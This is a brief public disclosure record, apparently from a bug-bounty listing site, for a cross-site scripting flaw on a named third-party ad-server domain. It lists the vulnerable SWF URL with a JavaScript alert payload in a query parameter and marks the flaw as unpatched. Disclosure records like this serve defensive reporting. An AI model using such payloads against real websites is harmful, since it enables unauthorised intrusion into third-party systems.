smartadserver.com XSS vulnerability

Vulnerable URL: http://www.smartadserver.com/c12766/300x250msg1.swf?target=blank=javascript:alertOPENBUGBOUNTY Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 37660 VIP website...